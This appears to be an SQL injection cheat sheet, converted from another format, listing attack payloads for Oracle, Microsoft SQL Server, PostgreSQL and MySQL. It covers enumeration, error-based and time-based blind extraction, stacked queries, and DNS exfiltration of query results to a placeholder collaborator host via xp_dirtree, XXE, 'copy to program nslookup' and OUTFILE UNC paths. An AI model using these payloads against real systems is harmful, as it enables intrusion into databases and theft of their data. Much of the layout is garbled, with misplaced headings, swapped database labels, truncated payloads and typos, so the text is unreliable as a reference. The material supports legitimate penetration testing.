SQL injection cheat sheet

This <u>SQL injection</u> cheat sheet contains examples of useful syntax that you can use to perform a variety of tasks that often arise when performing SQL injection attacks.

String concatenation

You can concatenate together multiple strings to make a single string.

```
Oracle 'foo'||'bar'

Microsoft 'foo'+'bar'

PostgreSQL 'foo'||'bar'

MySQL 'foo' 'bar' [Note the space between the two strings]

CONCAT ('foo', 'bar')
```

Substring

You can extract part of a string, from a specified offset with a specified length. Note that the offset index is 1-based. Each of the following expressions will return the string ba.

```
Oracle SUBSTR('foobar', 4, 2)
Microsoft SUBSTRING('foobar', 4, 2)
PostgreSQL SUBSTRING('foobar', 4, 2)
MySQL SUBSTRING('foobar', 4, 2)
```

Comments

You can use comments to truncate a query and remove the portion of the original query that follows your input.

```
Oracle --comment

Microsoft --comment
/*comment*/

PostgreSQL --comment
/*comment*/

#comment

MySQL -- comment [Note the space after the double dash]
/*comment*/
```

Database version

You can query the database to determine its type and version. This information is useful when formulating more complicated attacks.

MySQL

```
Oracle

SELECT banner FROM v$version

SELECT version FROM v$instance

Microsoft SELECT @@version

PostgreSQL SELECT version()
```

SELECT @@version

Database contents

You can list the tables that exist in the database, and the columns that those tables contain.

```
Oracle

SELECT * FROM all_tables

SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'

Microsoft

SELECT * FROM information_schema.tables

SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

PostgreSQL

SELECT * FROM information_schema.tables

SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

MySQL

SELECT * FROM information_schema.tables

SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
```

Conditional errors

You can test a single boolean condition and trigger a database error if the condition is true.

```
Oracle SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual

Microsoft SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END

PostgreSQL 1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END)

SELECT IF(YOUR-CONDITION-HERE, (SELECT table_name FROM information schema.tables),'a')
```

Extracting data via visible error messages

You can potentially elicit error messages that leak sensitive data returned by your malicious query.

```
Microsoft

Microsoft

> Conversion failed when converting the varchar value 'secret' to data type int.

SELECT CAST((SELECT password FROM users LIMIT 1) AS int)

PostgreSQL

> invalid input syntax for integer: "secret"

SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret')))

MySQL

> XPATH syntax error: '\secret'
```

Batched (or stacked) queries

You can use batched queries to execute multiple queries in succession. Note that while the subsequent queries are executed, the results are not returned to the application. Hence this technique is primarily of use in relation to blind vulnerabilities where you can use a second query to trigger a DNS lookup, conditional error, or time delay.

```
Oracle Does not support batched queries.

Microsoft QUERY-1-HERE; QUERY-2-HERE
QUERY-1-HERE QUERY-2-HERE

PostgreSQL QUERY-1-HERE; QUERY-2-HERE

MySQL OUERY-1-HERE; OUERY-2-HERE
```

Note

With MySQL, batched queries typically cannot be used for SQL injection. However, this is occasionally possible if the target application uses certain PHP or Python APIs to communicate with a MySQL database.

Time delays

You can cause a time delay in the database when the query is processed. The following will cause an unconditional time delay of 10 seconds.

```
Oracle dbms_pipe.receive_message(('a'),10)
Microsoft WAITFOR DELAY '0:0:10'
PostgreSQL SELECT pg_sleep(10)
MySQL SELECT SLEEP(10)
```

Conditional time delays

You can test a single boolean condition and trigger a time delay if the condition is true.

```
Oracle

SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN

'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual

Microsoft

IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'

PostgreSQL SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END

MySQL SELECT IF (YOUR-CONDITION-HERE, SLEEP(10), 'a')
```

DNS lookup

You can cause the database to perform a DNS lookup to an external domain. To do this, you will need to use <u>Burp Collaborator</u> to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to confirm that a DNS lookup occurred.

(XXE) vulnerability to trigger a DNS lookup. The vulnerability has been patched but there are many unpatched Oracle installations in existence:

```
Oracle root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/">
%remote;]>'),'/l') FROM dual
The following technique works on fully patched Oracle installations, but requires elevated privileges:
SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')

Microsoft exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'

PostgreSQL copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'
The following techniques work on Windows only:

MySQL LOAD FILE('\\\BURP-COLLABORATOR-SUBDOMAIN\\a')
```

SELECT ... INTO OUTFILE '\\\BURP-COLLABORATOR-SUBDOMAIN\a'

DNS lookup with data exfiltration

You can cause the database to perform a DNS lookup to an external domain containing the results of an injected query. To do this, you will need to use <u>Burp Collaborator</u> to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to retrieve details of any DNS interactions, including the exfiltrated data.

```
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE

Oracle root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-
COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/1') FROM dual
```

```
declare @p varchar(1024); set @p=(SELECT YOUR-QUERY-
Microsoft
         HERE); exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"')
          create OR replace function f() returns void as $$
         declare c text;
         declare p text;
         begin
         SELECT into p (SELECT YOUR-QUERY-HERE);
PostgreSQL c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-
         SUBDOMAIN''';
         execute c;
         END;
         $$ language plpgsql security definer;
         SELECT f();
         The following technique works on Windows only:
```

MySQL

SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\BURP-COLLABORATOR-SUBDOMAIN\a'
